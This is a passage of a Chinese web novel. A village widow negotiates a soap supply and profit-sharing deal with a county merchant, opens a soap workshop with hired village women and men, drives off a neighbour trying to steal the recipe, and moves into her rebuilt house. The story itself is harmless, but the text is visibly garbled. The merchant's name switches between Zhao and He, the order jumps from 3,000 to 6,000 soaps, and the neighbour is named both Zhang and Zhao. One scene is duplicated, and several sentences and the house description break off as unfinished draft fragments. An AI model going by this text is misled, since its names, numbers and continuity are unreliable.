万絮实在是没忍住偷偷揪了揪卜霜的衣角，在她耳边小声道：“娘，这可是三千块香胰子啊，咱一周怎么做出来，而且咱也没那么多钱啊？” 香胰子的猪油和草木灰还好说，但是调制香味就需要买香料，如今这天寒地冻的花朵都没有了，他们就只能去香料店买制好的干花，如果做功能性的药草胰子那还需要去药铺买药材，就算成本不高，但是三千块下来也要很多银子了。 “娘有办法。”卜霜转头，捏了捏万絮的手。 万絮心中还是很多的疑虑，不过她张了张嘴，就忍住了没再说什么。 娘向来主意多，说不定真有什么好办法，而且这里不止他们在，有什么出去时再问。 卜霜转了转眼睛道：“我们乡下人爽快就有话直说了，何大爷说的我可以答应，三千块香胰子会在一周后做出来，但是何大爷，我这三千块香胰子总不能白做吧？” 何大爷笑了两声： “那是自然，这三千块香胰子芳华阁都会收购，卜夫人一块香胰子出多少价钱？” “贵铺一块香胰子卖六十文，我估计南面的供货商起码要收二十文，我的香胰子比他们的更好，也不多要，一块香胰子也二十文吧。” 每块香胰子二十文，三千块下来就是六十两银子。 就是卜记食铺两三个月的收益了。 万路和万絮一时都有些激动。 第50章 另眼相看 光是六十两银子就足以诱惑他们放开手脚去做一做了。 赵大爷想了想，这价格确实也不算贵，而且眼前妇人有几分见识，他从南面的拿货价真的让她猜的八九不离十，其实她还有一项没有说出来，除去本金外，以往他们从南面运货还要自己出车马费，虽然他有海运渠道和商船，但是一来一回的耗资也是十分巨大的。 当然赵大爷觉得这个她也一定很清楚。 而且眼前妇人既有见识和他谈五五分成的事情，那么想要在这三千块香胰子上再压价也是不可能的了。 于是赵大爷很快就答应下来。 “那就请赵大爷先付我们一半的定金，我们这就赶回去做香胰子去。”卜霜笑了笑又道。 这妇人好生厉害。 赵大爷之前只觉得她能做出这香胰子来是有些本事的，但也没太放在心上，只觉得她会些手艺恰好，与生意上的事是不相干的。 没想到一番交涉下来觉得这妇人还很聪明，对生意之道竟然了若指掌，甚至有些老辣精明，在他面前还能讨价还价，不免对她开始有些另眼相看了。 何大爷转了转眼珠子，他能做到如今这般自然不是一般的商人，很快又抓住了漏洞为自己争取利益。 “定金自然可以给你，只是我们芳华阁这样大的铺子，每日所过流水就有上百两，不能白白空出时间等你，否则不是让人看了笑话，如若卜夫人一周后没有按时交出这三千块香胰子呢？” “这简单，一周后三千块香胰子，我会按时交付芳华阁，到时掌柜的查收，只要缺一块，这三千块香胰子就当我送给芳华阁的，我们分文不收。” 卜霜将手里的茶水一饮而尽，目光野心勃勃，眉头都不皱一下说道。 这下就是万路也沉不住气了，在后面和万絮一起狂拽卜霜的衣角。 一周做出三千块香胰子本就是不可能做到的事情了。 就算他们俩再眼馋那六十两银子，但是只要想到如果一周后没有尽数做出，他们不仅要损失三千块香胰子的收益，甚至还要倒赔三十两银子，俩人就一点都不想要这些银子了。 这芳华阁的东家果然是精明的生意人，竟然还打着一分不出，就能尽得三千块香胰子的好买卖。 “爽快，卜夫人那我们就说好了。” 赵大爷也没想到卜霜会这么痛快，眼看卜霜钻了套，他含着笑立刻就让掌柜的去拿来三十两银子。 “慢着”卜霜却笑吟吟的打断了他的动作，“赵大爷，我都已经做出了这般诚意，您是不是也要拿出些诚意来呢？” “哦？你要我拿出什么诚意？”何大爷问。 “我需要何大爷给一句痛快话，如果我如约交付了三千块香胰子，那我之前谈的合作，五五分成到底如何？” 这下何大爷是真正对卜霜看重起来，眼前的妇人看着很是年轻，却有如此的见识和谋算，先前先退一步原来是为了此时在最重要的地方逼着他退一步。 如此想来她第一次来和称霸县城的大铺子谈生意竟然一点亏都没有吃。 每次几句话，都能将生意里的门道说的清清楚楚，一点糊弄不了，绝对非常人。 她很有自信，也很明白她做的香胰子能产生的巨大价值。 只要她能做到量产，他为何不结交这样的人呢。 赵大爷常年走南闯北，见识过许多生意人，也很爱结交一些他觉得与众不同以后会有大作为的人，当即道：“好，我答应你，只要卜夫人能如约做好第一批香胰子，那以后芳华阁会和你长期合作，只要是你的香胰子在我名下的香粉铺子里售卖所得的所有收益，我和你五五分账，一月一结。” 她来县城的目的达到了，居然真的和赫赫有名的芳华阁谈下了这笔生意。 卜霜眉开眼笑起来。 何大爷让胖掌柜去外面取银子，胖掌柜没一会儿就捧着一个大托盘进来，托盘上面放着三十两。 “你们现在有多少做好的香胰子？”赵大爷又问道。 万路和万絮对视一眼，万路上前回道：“有一百多块。” 赵大爷点点头：“虽然不多，那也都留下吧，这一百块香胰子计入三千块香胰子的总数。” 卜霜自然没有什么不同意的，把带着的小包放下给胖掌柜清点。 何大爷笑了两声，朝卜霜拱拱手：“那在下就静候卜夫人的好消息了。” 从芳华阁里出来后，万路和万絮都很激动。 他们一边是激动居然亲眼看到了娘和芳华阁东家拿下了这么大一笔的单子，而且还得到了三十两银子的定金，一边又担忧这么短的时间内他们到底要怎么做出这么多香胰子。 “娘，他们要一周时间就做出三千块香胰子，咱们又不是有三头六臂，就咱几个人就算是不眠不休的做一周，也做不出来这么多啊。”离开了芳华阁，万絮终于能说话了，立刻把别憋在心里的话都问了出来。 “还有卤味，咱白天还要去铺子上卖卤味呢，根本没有这么多时间去做香胰子。”万辽点点头，也附和道。 “你们这么担心啊，那刚刚怎么不说让我别答应何大爷？”卜霜问道。 “娘在前面谈生意，我们帮不了什么，那个掌柜的和何大爷都那么精明，万一说错了什么不是拖娘后退吗，而且我想着娘既然答应了那肯定是有娘的道理，我们出来再问娘也不迟。” 卜霜满脸笑意，看向这俩个十分信任她的孩子，心里非常贴心，她摸了摸两人的头：“方法都是人想出来的，我们慢慢想也不迟，但是刚刚如果不答应何大爷，这么好的合作机会可就没了。” 她之所以不选择直接供货给芳华阁，而是合作分账，都是经过，直接供货给芳华阁，那她每块香胰子的售价就像那三千块香胰子一样，最多只能赚二十文钱。 可她如果和芳华阁合作售卖的话，以他们现在的售价，那么每一块香胰子她就能分到三十文，每块香胰子多十文，那么三千块香胰子就能多赚三十两银子。 而且芳华阁一定会比现在的售价涨高了卖，那她能赚到收益就会更多，这可比当一个长久地供货商要赚的多多了。 卜霜甩一甩手，一点也没有紧张的感觉：“行啦，你们不用着急，咱现在首先要做的是好好逛一逛这县城，领略一下县城的繁华，然后回家吃饱喝足了，剩下的事情然后再慢慢想。” 第51章 开作坊 她说完掂了掂那沉甸甸的钱袋子，开开心心的走了。 卜霜先带两个孩子到县城的集市上逛了逛，这可是一个开阔世面，增长见识的大好机会。 一路上见到什么新鲜的，镇上没有的她都要买下来。 逛了大半天，他们三个才尽兴，租了一辆牛车，装着满车的货物回了武安村。 回到家，卜霜叫来另外两个小崽子和隔壁的赵昭明，就把今天去县城谈下来的生意说了。 “三千块香胰子！这哪能做的出来。” 赵昭明一听就替卜霜着了急，“卜妹妹，快，我叫上大壮，咱事不宜迟，现在就开始做吧。” 其实她清楚就是再加上他们母子两人，七个人不眠不休的就算不睡觉也做不出这么多香胰子来。 但是总不能坐以待毙吧，能多做一点就多做做一点。 她是个急脾气，当即就出了院子喊大壮。 卜霜按住她的手，忍不住笑：“看你们着急的，这事我回来的路上已经想好了，一周的时间，我肯定能做出三千块香胰子。” “那你和我们说清楚啊。”赵昭明见她现在还是一脸嬉笑的样子，轻轻拍了她两下。 卜霜就说她的想法：“做香胰子无非就是需要猪油，草木灰制成的水，以及香料，猪油的事好说，我有肉铺掌柜的渠道，他一定可以给我们弄出很多猪油，药材的话药铺和我有合作，多弄些药材也能方便，香料也好说，无非是去香料铺子里买，而且我们需要的多，这里面就有很多可以商量的空间。” 虽然都是去香料铺子里买香料，但是只买少量的散客和大量买的大主顾是不一样的，他们做三千块香胰子需要用到的香料可不少，她明日去和香料铺子掌柜谈一谈，可以减去不少成本。 “剩下的就只有草木灰了，草木灰需要用稻草松针树枝之类的东西燃烧后才能得到，但是我们要的太多，就要多找些人上山去找。” 草木灰每家都有少许，并不难寻，但是现在他们要的是能做三千块香胰子的草木灰，就他们几个人？ 赵昭明看了看万路他们几个，无奈道：“咱们这些人手不够啊？” 卜霜道：“那我们就找村里人一起找，我花钱雇他们。” “雇人？” “是。” 卜霜是这样想的，既然他们人手不够，那就雇人来。 武安村的年轻男人都去村里打工了，剩下的则是在地里干活，打工的常年不在家和家人聚少离多，种田的又常年只能赚个温饱，村里的女人们更是想赚钱都没地方能赚，空有一把子力气，只能在家做饭，就是有那么几个机灵的，也就给人洗衣服做赚个小钱，像赵昭明能勉强养活起自己和孩子的寥寥无几。 村子里人又多，大部分女人在家都无事可做，既然听到有钱拿，她们肯定愿意来。 说着说着，卜霜忽然眼睛一亮。 做香胰子最费事的不止是做草木灰水，她原本的想法只是想雇几个人砍木头收稻草做草木灰水，现在一步步拓宽思维之后却是想道，为什么不能每一步都雇人做，她只掌管做香胰子核心技术呢？ 而且芳华阁每周就至少要三千块香胰子，如果她的香胰子卖的好，之后可能还要再加量。再之后何大爷如果真有那个野心，生意扩展到更多县城里，甚至扩展去了南面，那需要供应的量就远远不止这些了。 他们要想要长期和芳华阁合作下去，产量问题是他们必须要解决的事情。 于是卜霜眼睛亮亮的道：“我想，咱与其绞尽脑汁的想着怎么忙活的做这三千块香胰子，不如开个作坊，花钱雇人做香胰子，雇的人多些，无论芳华阁以后要多少香胰子，我们就都能做得出来，然后供应给芳华阁，我们只要管理作坊就行。” “是哎。” 赵昭明从来没想到这个。 被卜霜一说也是眼睛一亮，一拍双手，惊喜的叫了一声。 村里人倒是有很多男人去镇上的作坊当帮工，可从来没有见过村里有人开作坊。 如果卜霜开了作坊，别说是村里的闲人了，就是那些人在别处作坊里干活的人绝对都愿意回来做帮工，守着老婆孩子打工。 四个小崽子对于开作坊这方面就什么都不知道了，疑虑很多。 “那我们要请多少帮工，每个帮工的工钱要给多少啊？”万絮提问。 “至少要二十个人吧，五个人收集做草木灰提取碱液，五个人炼猪油做皂液，五个人做模具，还有五个人浇灌皂水和脱模，至于工钱我还不知道外面的作坊给多少。” 赵昭明道：“我听隔壁婶子说过，她男人在城里的作坊做帮工，每周能挣十文。” 一周十文，一个月大概就是四十文。 卜霜道：“那我给他们一周十五文。” 赵昭明笑起来：“这下村里人恐怕要抢着来给你干活了。” 作坊就在村里，离得这么近，不用出去打工，每天都能回家，甚至比外面的作坊的工钱还要多五文。 消息散出去，村里人可不是抢着都要来吗。 只是每人一周十五文，一月就是六十文，二十个帮工就要一千两百文。 万辽还不太会算账，掰着手指头数了数，有些担忧的问道：“娘，开了作坊后，我们要付这么多帮工的工钱，还要抛去买材料的成本，那香胰子还能赚钱吗？” 请那么多帮工一听就很费钱，这能比他们自己做香胰子赚的多吗？ 卜霜神秘的笑了笑：“不止赚钱，那可太赚钱啦。” 第52章 选帮工 她雇二十个人，每月工钱就要出一千两百文，足足一两还多两百文银子，这些银子在普通人眼里乍一听是很多。 但是只要仔细算算，就知道她每月在芳华阁的分账就至少可以收到九十两银子，再抛去买材料和付给工人的工钱，那她们还净赚七十两。 要知道就算他们几个人累的要死要活，大包大揽把所有做香胰子的工序全都自己做了，不雇一个人，也就不过能多赚一千两百文。 而开了作坊之后，他们都不用自己动手，轻轻松松就能赚到七十两，有了香胰子每月的这份收益，甚至他们娘儿几个什么都不做，以后不去铺子上卖卤味，只要坐在家里，就有钱砸过来。 而有了这些分成，不用说担心万路万絮万辽和万萱他们之后念书的束脩了，就是铺子剩余没还的银子也能一下子都还清。 之后她就这样一点点的攒起钱来，说不定还能买上好几亩地，那他们卜家就真的有自己的资产了。 武安村村民手里的田地大多都是祖祖辈辈传下来的，他们一大家子十几口的人就算什么都不干凭着这十几亩地就能吃上饭。 田地和宅子才是这个时代最重要的资产。 可以稳赚不赔，即便放在那里几十年，上百年不管，都可以持续的创造出收益。 再有钱的商人最终都是在购买田地，到处购置房产。 卜霜虽然住在了武安村，也即将修好房子，但是她实际上并没有任何资产。 她的房子并不值钱，准确来说整个村子的房子都不值钱，只有镇上的大宅子才算资产。 如果她以后能买点地，那也算有所依仗了。 万辽见卜霜信心满满，就知道了答案，于是不说话了。 接下来几个人凑在一起，又聊了一些开作坊的细节，之后卜霜给他们分好工，所有人就立即行动起来。 卜霜先去院里找了正在干活的赵石头，和他商量让他带着手底下的几个人再给她搭个作坊，房子眼看就要修好，就差一些收尾的事了就完工了，修房子的事先不急。 但是作坊等不得，最多两天就要把这作坊做起来，至于给工匠们的工钱，卜霜很豪的翻倍。 赵石头自然是愿意的，召集众人询问他们的意见。 工匠们这些天在卜家被好吃好喝的招待，和卜霜也都很熟了，别说她出了这么多钱，就是纯帮忙他们也没有不应的。 因此众人都同意先去做工坊，他们人多又有力气，而且一提起双倍工钱，工匠们也都干劲满满。 两天时间虽然有些短，但是卜霜觉得他们能做的完。 卜霜住在山脚下，周围很是空旷，所以赵昭明带着工匠们选好当即就开始开工了。 眼见搭作坊的事有了着落，第二天卜霜又进了镇子去和肉铺老板谈起长期收猪油的买卖。 这猪油不是什么稀罕玩意，来摊子上买肉的客人无论买多买少，肉铺老板称好肉后一般都会给带两块猪油回去，因此这事不算难。 肉铺老板自从接了给卜霜供应猪下水的生意，日子比往日好过了许多，见卜霜又来收猪油，价钱还给的公道，笑的眼睛都找不到了，他满脸笑意的送她出来，直说猪油要多少有多少，他明天就叫牛车给她送了些过去，以后每月送猪下水时会另外派牛车把猪油给她送到村里。 药铺那边自然也是同样的话，她要的薄荷，白芷，松香之类的并不是什么值钱的药材，再加上她是药铺的供应商，所以药铺掌柜直言可以免费给她供应这些。 不过卜霜还是坚持以市场价长期收购。 谈好猪油和药材的事之后，卜霜转头又去了香料铺，和香料铺掌柜的斡旋了很久，因为她每次采买的数量庞大，最后香料铺掌柜的同意以批发价卖给卜霜需要的香料。 她这里花费半天时间就把做香胰子的材料供货都解决了，赵昭明那里也没闲着，她则负责在村里挑选作坊的帮工。 果然如赵昭明所言，她刚把卜霜开作坊要请帮工的事情一散播出去，村里人就沸腾了，几乎是排着队都要来。 这选帮工也不是一件容易的事。 卜霜在武安村住的时间尚短，对村里人都不是很熟悉，但赵昭明就住的时间久了，她对村里一共有多少户人家，每户人家有几口人，都姓什么叫什么，都是什么秉性，了解的一清二楚。 所以她最适合做这件事。 赵昭明是个聪明人，心里也有杆秤，她要选那些平日就勤快干净，手脚麻利，又老实的，最好年轻一点的人。 她准备先选十五个大姑娘小媳妇，然后等到明天，去城里帮闲的男人都听到消息回来了后，再从里面挑五个男人。 这做香胰子是细活，所以多挑些女人，但是也需要几个能干体力活和重活的男人。 马婶子的女儿青篱素日来和万路万辽万絮他们玩的很好，万絮偷偷提前把要招工消息放给了她，让她回家告诉她娘去。 马婶听到女儿的话后，激动的立刻就跑了过来，因为她家住的近，消息又知道的早，所以她是队伍里第一个报名的。 青篱虽然年纪和万絮一般大，但是马婶子已经不算年轻了，好在赵昭明知道她是个勤快人，为人也和善，和卜霜和她一直也很好。 她有意让马大姐进来做工，以后有个收益的进项，但是人可以招，她该说的还是要说。 “马大姐，我知道你是个能干的，可这在作坊里干活可不比寻常给人洗衣服，三两日就忙完了，作坊里的活计可不轻，而且每个帮工进来都要签契，这个要长久待着做活，可不是说走就能走的，你可要想清楚了。” 马大婶淳朴一笑，“我庄稼人喊什么累啊，只要你让我做，我什么都能干，我们这些女人不比男人，赚钱的机会少，以前镇上作坊都不收女人，卜家作坊既然收女人，我在家里闲着也是闲着，能进卜家作坊就是有了一份正经差事，以后说出去那不脸上有光多了，别说卜家作坊工钱给的这么多，就是一个月几文，我也肯定要来啊。” “是啊，是啊。” 她这番话说到了村里好多农妇们心里，众人都附和起来。 第53章 赵昭明管事 有个年轻小妇人喊道：“卜家作坊不仅收这么多女工，给的工钱比镇上的作坊都多，我要是能进去做工，那比我家那口子赚的还多，长久做活才好啊，只要卜家作坊开着，我能做到七八十，有人觉得活计重的那可别来和我抢啊。” 她这样一说把众人逗得都笑起来。 赵昭明笑了笑，把马大婶的名字录进，紧接着让她去隔壁万路那里签工契。 万路昨晚已经写好了二十份契约，此刻端端正正坐在那里，负责让每个选好的帮工都签了工契。 马大婶签了契后，还在激动，一想她以后真的能在卜家作坊里做工，有个长久的收入，她就笑得合不拢嘴，走路还有点摇摇晃晃的。 排在后面的众人见她这么简单就被选中了，名额不多一共只有十五个，这一下子就少了一个，一时间也都紧张起来。 都在担心轮到自己时帮工已经招满了。 一时间很多心思活络的妇人已经在暗恨怎么没早点和卜霜打好关系。 不过赵昭明也不是谁都要的，像那种平日就碎嘴子的，惹是生非的妇人她看到后直接都会刷掉。 比如接下来的赵婶子。 那赵婶子自从上次挑拨万老太来卜家闹事未成后，灰溜溜的回家躲了两天，她三番四次说卜霜坏话，被卜霜当面戳穿下了脸，如今的名声已经很差了，村里的妇人们对她很是不喜，渐渐都不和她来往，如今她的处境很是尴尬，也没了以往煽动众人的本事。 今天她听到村里人说卜霜要开作坊，招好多村里妇人做帮工，帮工每周就有十五文大子。 每月六十文啊，这么丰厚的工钱让赵婶子也动了心思，于是她挤在妇人堆里，也不往前挤，想着等招到最后几个了或许她可以趁机混进去，只是被赵昭明一眼就看到了，毫不留情当即就刷了下去。 就这么到了晚上，选好了十五个妇人，到了第二日，赵昭明又挑了五个几个能干的男人，这样就把这二十个帮工都选好了。 她让他们次日按时到搭好的作坊里面正式开工。 次日早上，工匠们连日赶着终于把作坊搭了出来，肉铺药铺和香料铺也都派人把材料都送了过来。 这时距离约好给芳华阁送香胰子的日期还剩下五天。 再也耽搁不得了，她们必须立刻开工。 村里的签好契的帮工齐齐整整站在作坊前，卜霜问：“你们有会做木工活，手指灵活，会做手工刻模具的。” 陆陆续续有几个妇人站出来。 卜霜点点头，又问：“有谁厨艺好，常年在灶上做饭的？” 剩下的人不知道卜霜要干什么，左右看了看，又有几个人站出。 接下来卜霜就按每个人的长处，把这些人分成四组。 她点了三个男人专门去山上田野间收集做草木灰的稻草松针松木等原料，然后五个人将这些原料做成草木灰水提取碱液，然后五个厨艺好的妇人炼猪油做皂液，五个人做模具，还有五个人浇灌皂水和脱模，剩下的两个男人运货搬货。 作坊很大，每个分组做活的地方都是分开的，也就是每个组都不知道其他组做什么。 他们只知道卜霜的作坊是生产香胰子的，但是每个组都只掌握制作香胰子的其中一步。 而且契约上有保密的一项，任何帮工都不能向外透露作坊里的生产内容。 香胰子的调配比例和香味的调制，这些机密都不能让有心人知道。 但是即便帮工们知道了，卜霜也有信心，只有她才能和芳华阁这样大的香粉铺子谈下这么大的生意。 接下来，卜霜又给卜家的每个小崽子都制定了管理作坊的任务。 她要让每个小崽子都参与到管理中来。 万絮细心，负责最后做出的香胰子的验收，瑕疵品这些都不能送到芳华阁，他们留着自己用。 万路，负责成品最后供应时的清点数数。 万辽鬼点子多，负责 万萱就负责 另外，她又请了赵昭明来当作坊的管事，协调帮工之间的一应事情，卜霜每月也给她发工钱，赵昭明帮了卜霜这么多，卜霜早就在想如何回馈她，就先想到这么个，一来作坊确实需要一个管事，二来这样赵昭明又轻松还能有银钱贴补。 卜霜还给作坊制定了一系列的条例。 她请了裁缝给二十个人都做了新衣服，依照不同的组，颜色一共有四种颜色，每种颜色代表不同的组，每天来做工的帮工们都需要穿上这个衣服，她还做了很多帽子，每个人做工时都要戴上，头发可不能掉进皂液里，否则一块香胰子立刻便不能卖了。 他们进了卜霜的作坊这几天不知道有多少人羡慕，大家自然对卜霜的这些要求都没有什么不满，东家怎么说他们怎么做，而且还有新衣服穿，这谁不愿意。 卜霜只在作坊里待了两天，去教这些帮工。 赵昭明的眼光果然不错，这些人不仅勤快学东西也很快，很快香胰子的制作就已经成了型。 五天时间只过了两天，约定的六千块香胰子作坊里就已经做出了三千块，按照这个速度，三天后六千块香胰子绝对可以全部都做出来。 卜霜的内心也终于松懈了些。 接下来的日子卜霜就不用时时刻刻盯着了，有赵昭明看着就好。 虽然请了帮工开了作坊做香胰子，但是卜霜仍旧每天都照常清理路下水，白日去卜记食铺里卖卤味。 “娘，那嘴碎的张婶子吗？” 卜霜定睛一看，在作坊外鬼鬼祟祟的不正是张婶吗？ 她在外面拉着作坊里的人打听什么。 帮工们都听过卜霜的话，什么都不说。 那张婶，眼睛看了看，趁着就想跟着混进来。 第54章 赵婶子偷学配方 虽然开香胰子的作坊每月所收分成颇多，但是这些钱对于卜霜来讲还不足以让她撂下食铺子什么都不做。 她还想把卜记食铺做大，然后开酒楼呢。 这日卜霜带着四个小崽子在镇上刚卖完卤味，回村后她想着再去作坊里绕一圈，看看做了多少香胰子了。 几个人刚走近作坊，万辽忽然用手指着左前方，对卜霜道。 “娘，那不是那个嘴碎的赵婶子吗？” 卜霜定睛一看，果然在作坊外的树后面看到一个鬼鬼祟祟的人影，正是好久没露面的赵婶。 她躲在那里四下张望了许久，趁着作坊里的妇人出入作坊时，忽然拉住其中一个女人，可能是她认识的人，赵婶一路很热乎的拉着人家往远走走，一边给她手里塞瓜子，嘴里絮絮叨叨的不知道在打听些什么。 “她不会是想打听咱们作坊做些啥吧？”万絮有些担心赵婶是要使什么坏，十分着急的拉着卜霜快步走。 但是卜霜一点都不担心。 帮工们进作坊前都是签过契的，上面条例明令禁止不许他们把作坊里的事情告诉外面的人，更不能告诉他们怎么做香胰子，而且这几日赵昭明又再三和帮工说这件事，这些帮工们为了留在作坊，肯定什么都不会说的。 果然那被拉住的妇人摇头，一个劲的吧瓜子往回递，什么都不肯说。 然后她甩开赵婶的手，就匆匆回了作坊里。 赵婶子恨恨的跺了跺脚，眼见这些帮工的嘴都跟铁桶一样密不透风的，知道是问不出什么来了。 她眼睛四处看了看，又起了别的主意，趁着帮工进出的时候就想跟着他们混进去。 只是赵婶刚走到了作坊前，眼看跟在前面进去的人挑起帘子，她正要进去，一只手猛地从后插到她身前。 赵婶一个惊跳，回头一看，拦着她的正是卜霜。 卜霜朝她笑了笑，然后大声道：“呦，这不是赵婶子吗，你这大老远的溜达在作坊门前是要做啥？” 赵婶心虚的缩了缩脖子，眼珠子乱转：“我能干啥啊，这不是看到这里面有熟人，想进去和她们聊会天儿吗？” 她挺了挺胸脯，“咋的，你还想管我和谁说话不成？” 卜霜迈步往前一跨，比赵婶高了半个头：“你和谁说话我自然是没那个时间去管，但是这里是卜家作坊，我的作坊，我自然管得了谁能进谁不能进。” “赵婶子，你说你找人串门，偏偏就逛到了我的作坊前面，你也看到这里已经开工了，里面的帮工都在做活，他们正在赚钱，没时间和你闲聊，而且卜家作坊除了我请的帮工外，任何闲杂人等都不能进去。” 她特意将赚钱和闲杂人等说重重的说出来。 张婶的脸红了又绿，绿了又红。 要不是前日那个该死的赵昭明把她刷了下去，让她没被选上，她此刻也应该是里面正在赚钱的帮工，而不是被卜霜讽刺的无所事事到处串门的闲杂人。 这俩日她越想越气，就想来打听打听卜霜这个作坊到底是做什么的，如果可以再从相熟的帮工嘴里套出话来，能把作坊做的东西里面的配方都问出来，她就能照葫芦画瓢，也分一杯羹。 哪里想到，她还没进去呢，就被卜霜抓个正着。 赵婶看着被卜霜堵得严严实实什么都看不到的门缝，撇嘴：“不就是开了个作坊吗，镇子里有多少人开作坊，也没像你一样，把你了不起的，还不让人进了。” 卜霜笑了笑，嘴里可没留情：“谁家作坊会放你这种爱嚼舌头，整天东家串完西家逛爱打听别人家私事之后添油加醋歪曲事实四处散播的人进去参观啊，你最爱背地里给人使绊子了，难道还能让你进去偷学别人家的秘密配方？” 作坊里好多人都听到外面的动静，已经有人出来围观了，他们听到卜霜的话后，都在那儿偷偷地笑。 赵婶双手叉腰，情绪激动，说话的时候唾沫星子到处飞：“你这里肯定有猫腻，藏着掖着的，不会是这作坊里有什么见不得人的勾当吧？作坊里的男人女人都穿着这些奇形怪状的衣服，怎么我在镇上的其他作坊里没见过这些呢，我看你们还不知道在做什么勾当呢，赚的钱恐怕也来路不正。” 她的这番话显然把里面的帮工都得罪了。 这下子，就是里面没出来的帮工们都被气得不行，掀开帘子冲出来对着赵婶破口大骂。 “你个腌臜老货，我们辛辛苦苦干活挣钱，倒让你说的这么难听，你再敢放屁，老娘非拿泔水给你那张臭嘴涮涮。” “哪家的作坊不保密，哪能让外人随便进去看，这老不死的非要进去，我看是让卜掌柜的说对了，她就是想偷学。” 赵婶一看惹了众怒，没办法，只好在大家的叫骂声中灰溜溜地走了。 又过了三天，到了和何大爷约定好交货的日子，作坊也把六千块香胰子全部做出来了。 万路和万絮在点货，点好没有瑕疵之后，两个男帮工把这些香胰子分批开始装箱，然后又把装好的箱子都运上马车，然后他们就准备去县城里交货了。 这次的货太多了，而且经过上次看过芳华阁外面的繁华后，卜霜特意让帮工去租了马车来。 此行卜霜和万路万絮也要跟着去。 她们此去除了要拿回剩下的三十两银子外，还有更重要的事情要做。 一行人很快就到芳华阁门口，帮工把马车栓到树上，两人就开始把箱子往下卸。 卜霜先和两个孩子从芳华阁的正门进去。 她径直找到胖掌柜：“掌柜的，我们来送香胰子了。” “卜夫人。” 胖掌柜此时正在柜台后算账，听到卜霜声音还愣了一下，他没想到卜霜居然真的做出了所有的香胰子，连忙跑出来。 “六千块香胰子，一块不少，就在铺子外面，我的伙计正在卸货，掌柜的也请人点点货吧。”卜霜道。 第55章 全家住新房 胖掌柜一挥手，芳华阁的几个伙计就出去查看了，胖掌柜也出去了，不一会满脸笑容的回来。 “嗯嗯，不错，是六千块，而且成色什么的和之前卜夫人带过来那些香胰子一样，都很好，我已经让两位小兄弟把那些货从后门搬到铺子的库房里了。” 胖掌柜说完后，做出一个请的姿势：“东家就在楼上，夫人和我上去见见东家吧。” 卜霜点头，胖掌柜便将卜霜他们三个引进楼上雅间，进去后在何大爷耳朵低语了几句。 何大爷听后点点头，对卜霜越发欣赏起来，让卜霜他们都入坐。 “卜夫人果然说话算话，是个实诚人。” 上次六千块香胰子何大爷已经给了三十两银子做定钱，所以剩下只要再付三十两就好了。 他让胖掌柜立刻去取另外的三十两银子。 卜霜却表示不急：“何大爷，我们按照约定在一周内把六千块香胰子都送到了，不知道何大爷之前答应我的事情还记得吗？” 何大爷大笑了两声，摇摇头，“我还没见过你这样精明的妇人，做事干脆说话直接，一点都不转弯抹角，不过卜夫人的性格我喜欢。” “至于上次的事情，我一向说话算话，以后我们就合作售卖你这香胰子，芳华阁和我名下所有的香粉铺子，只要是售卖你这香胰子得到的所有收益，卜夫人都占利五分，怎么样？” 他之前让卜霜在一周之内做出三千块香胰子本就是想要看看她有没有在短时间内生产大量香胰子的能力。 现下已经确定了卜霜可以供应得起他名下香粉铺子的销量了，而且她做出的所有香胰子的质量都很好，自然是可以合作， 何大爷以为这样卜霜总该满意了，没想到卜霜却笑了笑： “我说话爽快，何大爷也是痛快人，这不是什么小事，口说无凭，不如赵大爷和我签个契吧。” “这...”胖掌柜犹疑的看看自家东家的脸色，有些流汗，这女人胆子可真大。 在她面前坐着的可是走南闯北，在商人里很有地位的何大爷，她难道还觉得何大爷会耍赖不成？ “我是想芳华阁这样的大铺子做事肯定是很讲究名声的，每一生意都要记得清清楚楚，我们就跟着你们签契好了。” 普通人要是对上何大爷这样地位的人肯定处处落入下风，也不好开口提立字据的事。 但是卜霜却是以一个平等的合作伙伴来看待他的，丝毫没有不好意思。 而且经过她这样一说，立契也就完全是为了芳华阁的声誉考虑了。 “那是自然。”何大爷没有丝毫不快，越发觉得卜霜的脾性都十分对他胃口，是个可以结交的人。 签好契后，何大爷笑着：“卜夫人，不，卜掌柜，我以后也要叫你一声卜掌柜了。” “卜掌柜以后每月做好我需要数量的香胰子后派伙计送货就好，每月分银我都会让掌柜给你送去，如果你想查账目也随时都可以，如果日后每月需要的香胰子的数量要增加，我会让人告诉你。” 谈好了后续合作事宜，卜霜拿好三十两银子，就和万路万絮坐着马车高高兴兴的回家了。 今天可是个十分喜庆的日子，不仅是她们作坊和芳华阁做成了长期合作，还有一件事，卜家的宅子也终于修好了。 卜霜回家后便可以住进全新的房子里。 原本的主屋重新用砖和泥加固了墙体，屋内还抹了崭新的墙面，房顶也不再是茅草搭着，都清理干净做好了防水，用青瓦铺着。 主屋旁新盖一间房，东西两边新盖两间房，南面也盖了一间，院墙围起来，就是一个小四合院。 万絮万萱和万路万辽的两间卧房都很大，而且都放了新打的家具，里面有卜霜设计的衣柜，书房里有她设计的升降桌子。 万絮和万萱的床都雕着花，是大户人家女眷屋里喜欢的样式，卜霜设计的梳妆台也做了出来，她房间里有一个，万絮和万萱房间里有一个，上面已经放好了铜镜，以后她们就不用对着水面梳妆了。 余下还有不足的家具，等他们住进去了都可以慢慢添。 东边的两间屋子，西边两间房一间是厨房，一间是洗浴房。 南面卜霜又让赵石头临时加了一间房，可以放杂物。 厨房里放了一个大水缸，每次挑满，可以用好多天。 屋里原先的老家具， 屋主隔成两块，是卜霜的卧房和，但是，所以后面只用做会客 屋内隔开，前面用作会客厅，做一些桌椅板凳什么的放着，吃饭和会客都在这里。 后面的炕留着，就是卜霜的卧房。 所以主屋旁边新盖一间房，用作万絮和小万辽的厢房。 两间房之间要打通，万萱年纪小，不一定能习惯一个人睡，打通之后，她要是晚上想和卜霜睡，方便随时跑过来。 当然打通的地方要加一道门，门上了栓就隔开两间房，孩子大了也能保留隐私。 洗浴房要用青砖铺地，这样既防滑又不会洗过澡后满地脏脏的。 厨房的灶台敲掉，依照卜霜的身高重新垒个新的灶，还是要开两个灶眼，这样卜霜同时可以做两道菜，各不耽误，来个人也好帮衬。 东边两间房，一间是四个人的书房，一间是万路和万辽的卧房。 等孩子们读了私塾后，无论是日常读书还是完成先生留下的课业，都需要个清净的环境。 所以应该给孩子们建一座书房。 以上所有的屋子都和主屋一样，盖成土坯青瓦。 茅房建在南面角落，就在大门旁边。 村子里的茅房离得很远，之前卜霜他们想上厕所时，得先出了门，到五里开外的荒地才能上茅房。 所以一个属于自家的茅房是必须有的。 这样晚上起夜就不用再穿过五里地去那冻屁股的茅房里了。 她要拥有上厕所自由。 院子里把已经种好大棚蔬菜的菜地扩出一些，再围两个菜地。 